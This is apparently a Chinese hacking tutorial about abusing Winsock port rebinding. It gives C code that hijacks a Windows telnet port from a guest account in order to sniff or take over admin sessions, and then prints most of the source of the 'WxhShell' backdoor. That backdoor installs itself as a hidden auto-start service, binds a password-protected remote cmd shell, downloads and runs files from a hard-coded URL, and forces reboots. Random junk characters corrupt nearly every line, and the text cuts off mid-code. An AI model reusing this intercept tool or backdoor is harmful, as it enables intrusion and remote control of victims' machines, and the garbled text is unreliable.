在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Q4*fc^?u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bd<m%OM"" JB>b`W9 saddr.sin_family = AF_INET;
A0fFv+RN3 X+~ XJ
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bk)g;+@ Le*.*\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
D`xHD#j h vmLxkjUm# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H6&J;yT} fm^@i;D
这意味着什么?意味着可以进行如下的攻击:
z8[yt282 <}sq?Sfq! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;>AL`M+ ONCnVjZ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0
s70r 2hee./F` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
wN2QK6Oc VwEb7v,^0\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;L,mBQB?0b <a[Yk 2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P|HKn,ar i,|0@Vy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$DZHQH <ERB.d! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
uaOKv.% on8WQf'A# #include
y2+p1 #include
MSV2ip3 #include
A.D{.a #include
gd0Vp Xf' DWORD WINAPI ClientThread(LPVOID lpParam);
NuYkz"O] int main()
1]}#)- {
Z(9u< WORD wVersionRequested;
8HZs>l DWORD ret;
lhi_6&&[8 WSADATA wsaData;
;r6jx"i BOOL val;
tw(JZDc SOCKADDR_IN saddr;
9{$'S4 SOCKADDR_IN scaddr;
Vp<seO;7o int err;
LC})ciWa SOCKET s;
Z(ZiFPx2Z SOCKET sc;
&<+ A((/i int caddsize;
3mSXWl^? HANDLE mt;
&EM\CjKv" DWORD tid;
(D
9Su^:1 wVersionRequested = MAKEWORD( 2, 2 );
@rHK(25+d err = WSAStartup( wVersionRequested, &wsaData );
YhRWz=l if ( err != 0 ) {
/5#rADOS printf("error!WSAStartup failed!\n");
<HRBMSR+ return -1;
FVKW9"AyW }
o=RM-tR`v saddr.sin_family = AF_INET;
q|%(3,)ig 'oN\hy($,h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5P .qXA"D >j{z> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
qiZO _=0 saddr.sin_port = htons(23);
NWd<+-pC6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1lsLJ4P {
C_ \q?> printf("error!socket failed!\n");
gaf$uT2
return -1;
@A+RVg*= }
\V>?Do7 val = TRUE;
+`sv91c //SO_REUSEADDR选项就是可以实现端口重绑定的
!J=sk4T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)I\=BPo|B {
||zb6|7I4 printf("error!setsockopt failed!\n");
:iiw3#] return -1;
J|3E- p\o }
qClHP)< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
HK~xOAF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
vfNAs>X g" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
UYA_jpI P @VN&t:/ l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@Eb2k!T {
Lw'9 ret=GetLastError();
fA=#Fzk 2 printf("error!bind failed!\n");
n$aA)"A # return -1;
'&99?s`u }
xcJ`1*1N listen(s,2);
5*\\J&H while(1)
kSc{^-<R {
A!vCb
8(TX caddsize = sizeof(scaddr);
{}o>{&X //接受连接请求
W[[bV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>3gi yeJ if(sc!=INVALID_SOCKET)
GdVhK:<> {
`]v[5E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)>7%pz if(mt==NULL)
5[{*{^F4 {
h C=:q printf("Thread Creat Failed!\n");
1shBY@mlq break;
SI_iI 71 }
v_S4hz6w\ }
ez3Z3t` CloseHandle(mt);
fZKt%m }
Wy]^Ub gW closesocket(s);
,&Wn [G<2 WSACleanup();
b.O9ITR return 0;
J4=_w }
CU:o*;jP DWORD WINAPI ClientThread(LPVOID lpParam)
dx,=Rd5' {
+uWYK9 SOCKET ss = (SOCKET)lpParam;
UwY-7Mmo SOCKET sc;
=TP(
UJ unsigned char buf[4096];
D^U:
ih SOCKADDR_IN saddr;
]0B|V2D#e long num;
q@hp.(V DWORD val;
>O/D!j| DWORD ret;
`d 2,*KR //如果是隐藏端口应用的话,可以在此处加一些判断
ki;UY~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$3X-rjQtW saddr.sin_family = AF_INET;
O|cu.u| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,&HR(jTo saddr.sin_port = htons(23);
OOBhbpg!D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zu2HH<E {
>%Ee#m printf("error!socket failed!\n");
>\<*4J$PZ return -1;
rg_Q"g }
"Dy'Kd%,%/ val = 100;
fWGOP~0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c~<1': {
(x;g/!: ret = GetLastError();
mgZf3?,) return -1;
1x~U*vbhQ }
zVv04_: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kHc<* L_V {
gLE7Edcp6V ret = GetLastError();
~Z$bf>[(R7 return -1;
rSP_:} }
?RFg$Z'^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
d h^^G^ {
<uP^-bv;( printf("error!socket connect failed!\n");
5wC* ?>/ closesocket(sc);
]>i~6!@ closesocket(ss);
lo&#(L+2 return -1;
=wi*Nd7L }
'[ P}&<ie, while(1)
P
,eH5w" {
4\
/*jA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
G&eP5'B4i //如果是嗅探内容的话,可以再此处进行内容分析和记录
qu6DQ@
~YC //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$trAC@3O@ num = recv(ss,buf,4096,0);
9=dkx^q if(num>0)
FZpKFsPx send(sc,buf,num,0);
9O,,m~B else if(num==0)
Lb=W;9; break;
%bb~Y" num = recv(sc,buf,4096,0);
~:sE:9$z if(num>0)
qBk``!|s] send(ss,buf,num,0);
oCi
~P}r else if(num==0)
*HM?YhR break;
,je`YEC }
J#3{S]*v_ closesocket(ss);
L$v^afP? closesocket(sc);
B`#h{ )[ return 0 ;
$<)Yyi>6E }
ET^ |z _q>SE1j+W= mZ0J!QYk ==========================================================
pF=g||gS cm>E[SHr 下边附上一个代码,,WXhSHELL
K=u0nrG* oholt/gb+0 ==========================================================
CidM( eo#^L} #include "stdafx.h"
r@)A
k QBE@(2G}C #include <stdio.h>
? S=W& #include <string.h>
Sj
3oV #include <windows.h>
h=RDO #include <winsock2.h>
nX%AeDBAT #include <winsvc.h>
=)<3pG O #include <urlmon.h>
IvBGpT"(I *8g<R #pragma comment (lib, "Ws2_32.lib")
]Nk!4" #pragma comment (lib, "urlmon.lib")
{gy+3
q{4|Kpx@ #define MAX_USER 100 // 最大客户端连接数
(hZ:X)E> #define BUF_SOCK 200 // sock buffer
+`| *s3M #define KEY_BUFF 255 // 输入 buffer
f!GHEhQ9 J0<p4%Cf #define REBOOT 0 // 重启
\ a-CN> #define SHUTDOWN 1 // 关机
.5tg4%l ddpl Pzm# #define DEF_PORT 5000 // 监听端口
FbSa ~uN 7$T8&Mh #define REG_LEN 16 // 注册表键长度
&&RA4 #define SVC_LEN 80 // NT服务名长度
e 3@x*XI /r$&]C:Fi // 从dll定义API
~Nh&.a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2g`[u| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~5#)N{GbY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}B!cv{{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
M?:\9DDd r:l96^xs // wxhshell配置信息
oFg'wAO. struct WSCFG {
R ZcH+?7 int ws_port; // 监听端口
bcJ@-i0V char ws_passstr[REG_LEN]; // 口令
8cr NOZS6 int ws_autoins; // 安装标记, 1=yes 0=no
xl!K;Y2< char ws_regname[REG_LEN]; // 注册表键名
(ppoW char ws_svcname[REG_LEN]; // 服务名
;( KMGir char ws_svcdisp[SVC_LEN]; // 服务显示名
b&t[S[P.V char ws_svcdesc[SVC_LEN]; // 服务描述信息
2>y:N. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,Q2N[Jwd$ int ws_downexe; // 下载执行标记, 1=yes 0=no
Sni=gZ K char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#3.)H9
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*%- ?54B @&R1wr1>I5 };
ILG?r9x m4**>!I // default Wxhshell configuration
1MQ/r*(
struct WSCFG wscfg={DEF_PORT,
DzDj)7 "xuhuanlingzhe",
U~QMR-bz 1,
23E0~O "Wxhshell",
@W9H9PWv& "Wxhshell",
O3_B<Em "WxhShell Service",
8 lS($@@{ "Wrsky Windows CmdShell Service",
{rGYRn, "Please Input Your Password: ",
VO9f~>`( 1,
%-^}45](q "
http://www.wrsky.com/wxhshell.exe",
9/;{>RL= "Wxhshell.exe"
Qb@eK$wo} };
K\sbt7~ gX/NtO% // 消息定义模块
EzP#Mnz^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
bXl8v char *msg_ws_prompt="\n\r? for help\n\r#>";
AVpuMNd@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ow3a0cF[9 char *msg_ws_ext="\n\rExit.";
5#u.pu char *msg_ws_end="\n\rQuit.";
[h", D5 char *msg_ws_boot="\n\rReboot...";
*)%dXVf char *msg_ws_poff="\n\rShutdown...";
&:8T$UV char *msg_ws_down="\n\rSave to ";
<d!6[,W; aJ-} char *msg_ws_err="\n\rErr!";
hDtKnF char *msg_ws_ok="\n\rOK!";
\!PV*%P (t74a E pi char ExeFile[MAX_PATH];
8kbBz int nUser = 0;
A+2oh3 HANDLE handles[MAX_USER];
hZF(/4Z2 int OsIsNt;
,kE=TR.| |Y{PO&-?r SERVICE_STATUS serviceStatus;
C"No5r'K3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
h6FgS9H 3:" &Z6t# // 函数声明
w b+<a int Install(void);
Ki 3_N*z int Uninstall(void);
^Jtl;Q int DownloadFile(char *sURL, SOCKET wsh);
LhKY}R int Boot(int flag);
I=b'j5c void HideProc(void);
syMm`/*/G- int GetOsVer(void);
J{H?xc
o int Wxhshell(SOCKET wsl);
_S<?t9mS void TalkWithClient(void *cs);
'?k' 6R$'\ int CmdShell(SOCKET sock);
>Fh#DmQ int StartFromService(void);
`r.N int StartWxhshell(LPSTR lpCmdLine);
?d,M.o{0] 5ZUy: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>W~=]&7{s4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
J" wKR y GiqBzV3" // 数据结构和表定义
&G=0 SERVICE_TABLE_ENTRY DispatchTable[] =
J(hA^;8: {
dqwWfn1lt {wscfg.ws_svcname, NTServiceMain},
<[5#c*A {NULL, NULL}
u2,H ]- };
E@]sq A (olLB // 自我安装
=VCQ* int Install(void)
p\ok_*b {
eEie?#Z/6 char svExeFile[MAX_PATH];
k) 3s? HKEY key;
\d$Rd")w strcpy(svExeFile,ExeFile);
f~v"zT b\M b*o // 如果是win9x系统,修改注册表设为自启动
3 9yz~ if(!OsIsNt) {
|P~q/Wff if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
777rE[\@b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
EFv4=OWB RegCloseKey(key);
2b~
HHVruX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L,%Z9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.hgH9$\ RegCloseKey(key);
U[Nosh)hu\ return 0;
@dl<- }
mQnL<0_<f }
PuU*vs3 }
Ir>2sTrm else {
BUV/twU) \@:j // 如果是NT以上系统,安装为系统服务
y\z*p&I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
( w5f(4 if (schSCManager!=0)
[^Q&suy {
.CvFE~
SC_HANDLE schService = CreateService
tUrNp~ve, (
?0m?7{ schSCManager,
u<C$'V wscfg.ws_svcname,
n8Q*
_?Z/ wscfg.ws_svcdisp,
p*!q}%U SERVICE_ALL_ACCESS,
>Ban?3{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l)%mqW% SERVICE_AUTO_START,
T&!ZD2I SERVICE_ERROR_NORMAL,
LAos0bc)w\ svExeFile,
.c|9..Cq= NULL,
N@}gLBf NULL,
]p}#NPe5 NULL,
KDX$.$# NULL,
}*Dd/'2+1 NULL
BZ}`4W' );
.2/,XwIr if (schService!=0)
M-vC>u3Y {
4xp j< CloseServiceHandle(schService);
h9U+%=^O CloseServiceHandle(schSCManager);
J/=
+r0c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
q1P :^<[ strcat(svExeFile,wscfg.ws_svcname);
=J`gGDhGY- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>Rr!rtc'x RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
qZ233pc RegCloseKey(key);
vD_u[j] return 0;
{q})kO }
i5Eeg`NMl }
)'=V!H#U* CloseServiceHandle(schSCManager);
kO jEY }
` v>/
}
?${V{=)*X' TdNsyr}JG return 1;
x{~_/;\p3 }
fHLFeSfH >2nF"?"= // 自我卸载
R2SBhs,+R int Uninstall(void)
4Sqvhz {
\I:UC
% HKEY key;
#0jSZ g^," >Sh0dFqeT if(!OsIsNt) {
;r%<2( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FF8WTuzB+ RegDeleteValue(key,wscfg.ws_regname);
"Jf4N RegCloseKey(key);
icU"Vyu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c
3}x)aQ RegDeleteValue(key,wscfg.ws_regname);
f>|9 l RegCloseKey(key);
8u/3?Kc return 0;
rtcJ=`)0` }
i_|h{JK) }
*m iONc }
=z+-l5Gu" else {
Y=hPErw CgN]dx*` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b_q!>&c if (schSCManager!=0)
tsB.oDMP {
Q3(hK<Qh; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
d$4WK)U if (schService!=0)
]~$c~*0g {
5sG ]3z+1 if(DeleteService(schService)!=0) {
]aREQ?ma&z CloseServiceHandle(schService);
P>.Y)$`r CloseServiceHandle(schSCManager);
q$bHO return 0;
i?lX,9% }
/DK*yS CloseServiceHandle(schService);
zUe#Wp[ }
Tw?Pp8' CloseServiceHandle(schSCManager);
jM{qRfOrg }
\MfR #k0 }
|:~("rA+v *QMF
<ze return 1;
;|Y2r^c }
22l|!B%o 2=i+L z^ // 从指定url下载文件
jn0t-": int DownloadFile(char *sURL, SOCKET wsh)
c`rfKr&z {
pHq{S;R2G HRESULT hr;
YhEiN. ~ char seps[]= "/";
=c
:lS&B char *token;
>ly&+3S char *file;
"(9=h@@Y" char myURL[MAX_PATH];
wa9'2a1? char myFILE[MAX_PATH];
Dh*~U:6$g u]ZqF * strcpy(myURL,sURL);
C~3@M<X token=strtok(myURL,seps);
a.5zdoH_ while(token!=NULL)
se4w~\/ {
F!
|TW6)gv file=token;
`HE>%=]b token=strtok(NULL,seps);
T3=-UYx] }
.%-6&%1 FcuEeca GetCurrentDirectory(MAX_PATH,myFILE);
%:yHMEG]' strcat(myFILE, "\\");
}Z~pfm_S strcat(myFILE, file);
8Sd?b5|G~ send(wsh,myFILE,strlen(myFILE),0);
z:0-aDeM send(wsh,"...",3,0);
K *
xM[vO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m0dFA<5- if(hr==S_OK)
gt].rwo" return 0;
7vB9K _wCI else
|;xfe"] return 1;
(:tTx>V# ~ex~(AWh }
r*~n` '[7C~r{% // 系统电源模块
GQEI f$ int Boot(int flag)
e<ism?WG {
(h'$3~ HANDLE hToken;
%[+a[/ TOKEN_PRIVILEGES tkp;
4GmSG,] 4]|9!=\
if(OsIsNt) {
G}Qk!r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
d()zW7}W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=R"Eb1 tkp.PrivilegeCount = 1;
S)Ub/`f{s tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
b |o`Q7Hj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
j\jL[hG_ if(flag==REBOOT) {
x
mrugNRg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
WrIL]kJw^ return 0;
>*<6 zQf }
+73=2.C0 else {
=:ya;k& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,?7xb]h return 0;
ai<MsQQ:= }
FVvv }
'p|Iwtjn> else {
URmAI8fq*M if(flag==REBOOT) {
mE3SiR " if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
@8 oDy$j return 0;
{GG~E54&B }
0C"PC:h5 else {
vUodp#s if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
O9Jx%tolF% return 0;
YokZar2a0 }
HL}sqcp }
o[Wagg.% % RBI\tj return 1;
O=!)})YG }
c"QkE* ,_5YaX:<4 // win9x进程隐藏模块
ZmYSi$B void HideProc(void)
/w}B07. {
D=q;+,Pc )$Dcrrj HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
N c&i) qh if ( hKernel != NULL )
y. ivz {
|R
&3/bEr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uZ=UBir ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
g~$GE},, FreeLibrary(hKernel);
U||w6:W5 }
7am/X. >TQBRA;' return;
J4*:.8Ki }
w50Bq&/jX fW4cHB9| // 获取操作系统版本
[iO$ c]!H int GetOsVer(void)
*]E7}bqb {
95gsv\2 OSVERSIONINFO winfo;
wn A%Nh7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%M0mwty] GetVersionEx(&winfo);
YKX>@)Dxv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4,*^QK return 1;
bN7 UO else
aJa^~*N/Aa return 0;
=p&'_a^$ }
H-\{w
>`rNT|rg // 客户端句柄模块
5E oWyy int Wxhshell(SOCKET wsl)
HHu7{, {
sP3.s_U^ SOCKET wsh;
_WjETyh
[H struct sockaddr_in client;
l_j<aCY?| DWORD myID;
8t*%q+Z VM V]TPks> while(nUser<MAX_USER)
mB|mt+ {
M_e$l`"G int nSize=sizeof(client);
*|gs-<[#X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
eV{FcJha if(wsh==INVALID_SOCKET) return 1;
zcD_}t_K tMPXvE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
L/iVs`qF if(handles[nUser]==0)
_{Q?VQvZ closesocket(wsh);
a@_Cx else
:C:N]6_{SZ nUser++;
dD.d?rnZq7 }
^ yukn*L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
w#G=Z_Tt cLyuCaH>c return 0;
T
m@1q!G }
\gI:`>-
x 5q_OuZ/6 // 关闭 socket
Uh|__DUkh void CloseIt(SOCKET wsh)
r)#"$Sm {
)`+@j.75 closesocket(wsh);
@aV~.!! nUser--;
Vg,>7?]6h ExitThread(0);
q
V
UUuyF }
wq_oh*"
*A1TDc$ // 客户端请求句柄
noUZ9M|hz void TalkWithClient(void *cs)
,I&0#+}n {
548[!p4 3P^gP32 SOCKET wsh=(SOCKET)cs;
)x:j5{>( char pwd[SVC_LEN];
L5 k>;|SA char cmd[KEY_BUFF];
(8-lDoW char chr[1];
0-~6}
r$ int i,j;
`7qp\vYL r?yJ while (nUser < MAX_USER) {
;Y|~!%2~ 5fx,rtY2sQ if(wscfg.ws_passstr) {
QH' [( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n\"LN3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6[2?m*BsN //ZeroMemory(pwd,KEY_BUFF);
{|J2clL i=0;
}
Ved while(i<SVC_LEN) {
o(>-:l i0 JTh=JHJ // 设置超时
z vylL
M fd_set FdRead;
-^jLU
FC struct timeval TimeOut;
1DlcO>#@ FD_ZERO(&FdRead);
V-ouIqnI FD_SET(wsh,&FdRead);
'iISbOM TimeOut.tv_sec=8;
6j"I5,-~! TimeOut.tv_usec=0;
hC,-9c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
WKIiJ{@L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.SV3<) X@AkA9'fq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
s^?sJUj pwd
=chr[0]; \y )4`A
if(chr[0]==0xd || chr[0]==0xa) { PLD'Q,R
pwd=0; b}L,kT
break; %FWfiFV|<
} g&F<Uv#mZ
i++; A{Htpm ~
} )>M@hIV5>
Y7V&zF{
// 如果是非法用户,关闭 socket [`-O-?=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8!%"/*P$
} gL}Y5U+s
Q.2nUT`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Ho.O7H
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vv)E41
[O+^eE6h
while(1) { >\.[}th}
U8$dG)PhA
ZeroMemory(cmd,KEY_BUFF); kmr
4cU5
PM<LR?PLc
// 自动支持客户端 telnet标准 U4L=3T+:[
j=0; sAN:C{
while(j<KEY_BUFF) { v?TJ!o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g#%FY1xp
cmd[j]=chr[0]; %PdYv _5
if(chr[0]==0xa || chr[0]==0xd) { MVv^KezD
cmd[j]=0; M@X#[w:
break; 8Pdnw/W
} rHBjR_L.2
j++; 2T%f~yQ^
} ^?]H$e
LP-Q'vb<=
// 下载文件 z(X6%p0
if(strstr(cmd,"http://")) { j"sO<Q{6%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); J9=0?^v-:B
if(DownloadFile(cmd,wsh)) JIKxY$GS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZpctsCz]
else })SdaZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T_%]#M
} 5
^z ,'C
else { $(L7/M
Hpg;?xAT
switch(cmd[0]) { 71&+dC
gG;W:vR}l
// 帮助 to|9)\
case '?': { M*6@1.n
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NP'DuzC
break; 4"(zi5`e
} O Lup`~
// 安装 "s<lLgi
case 'i': { []3}(8yxGb
if(Install()) 7<o;3gR7Kj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Od]xIk+E
else \` ^Tbn:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T|2%b*/
break; V@'S#K#
} "[S
6w
// 卸载 gbf=H8]
case 'r': { .
\0=1P:
if(Uninstall()) *9(1:N;#
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
ykhCt\t[
else SY)$2RC+}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [gp:nxyfQm
break; y]4`d
} ly%B!P|
// 显示 wxhshell 所在路径 i O|,,;_
case 'p': { ZKPkx~,U[
char svExeFile[MAX_PATH]; *Y0,d`
strcpy(svExeFile,"\n\r"); H^:|`T|,
strcat(svExeFile,ExeFile); O~'yP@&`
send(wsh,svExeFile,strlen(svExeFile),0); J\D3fh97-
break; bu&y w~
} X2?_lZ[\
// 重启 $-fY 8V3[
case 'b': { 1 ZFSz{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "q/M8
if(Boot(REBOOT)) AV3,4u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Ia&,;Gc
else { |bnjC $b *
closesocket(wsh); XqH<)B
]
ExitThread(0); AK?j1Pk
} xU<lv{m`D
break; NP*0WT_gB
} :
X|7l?{xW
// 关机 J3^Z PW
case 'd': { qJt gnk|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZUW>{'[K
if(Boot(SHUTDOWN)) #'h CohL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A'(F%0NF6
else { iRHQRdij
closesocket(wsh); R_n-&d'PP
ExitThread(0); U/o}{,$A
} Nb/%>3O@
break; fEv36xb2S
} 17MjIX
// 获取shell Qo *]l_UO;
case 's': { ACltV"dB^
CmdShell(wsh); S,RJ#.:F[t
closesocket(wsh); 9W$)W
ExitThread(0); eJp-s" %
break; 9'h^59
} !OgoV22
// 退出 [`\Qte%UH
case 'x': { 'FFc"lqj
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :K:gyVrC
CloseIt(wsh); .Kwl8xRg
break; ]_8 \g`"u
} 3y ,?>-
// 离开 7'uc;5:
case 'q': { RhmVHhj
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !#qB%E]a
closesocket(wsh); uZI a-b
WSACleanup(); CHI(\DXNs
exit(1); ;g]+MLV9
break; r^^C9"
}
+'.Q-
} hj,x~^cS
}
|?A-?-
qG]PUc>j
// 提示信息 e|yuPd
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I0RWdOK8K
} [Cp{i<C
} y8z%s/gRh
&}1)]6q$
return; L{p-'V
} ht9b=1wd%s
H]X)@n>
// shell模块句柄 j3&*wU_
int CmdShell(SOCKET sock) Q4q#/z
{ ?9TogW>W
STARTUPINFO si; 'VEpVo/
ZeroMemory(&si,sizeof(si)); {hz:[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o7zfD94I
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6u7wfAf
PROCESS_INFORMATION ProcessInfo; '7s!NF2
char cmdline[]="cmd"; 54w-yY
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a"0~_=
return 0; 55p=veq \
} m@~x*+Iz
U2$T}/@
// 自身启动模式 C<>.*wlp=
int StartFromService(void) X2v'9 x
{ z?,5v`,t2
typedef struct <bI,y_<K
{ ? Q}{&J
DWORD ExitStatus; VIzZmd
DWORD PebBaseAddress; EA.U>5Fq
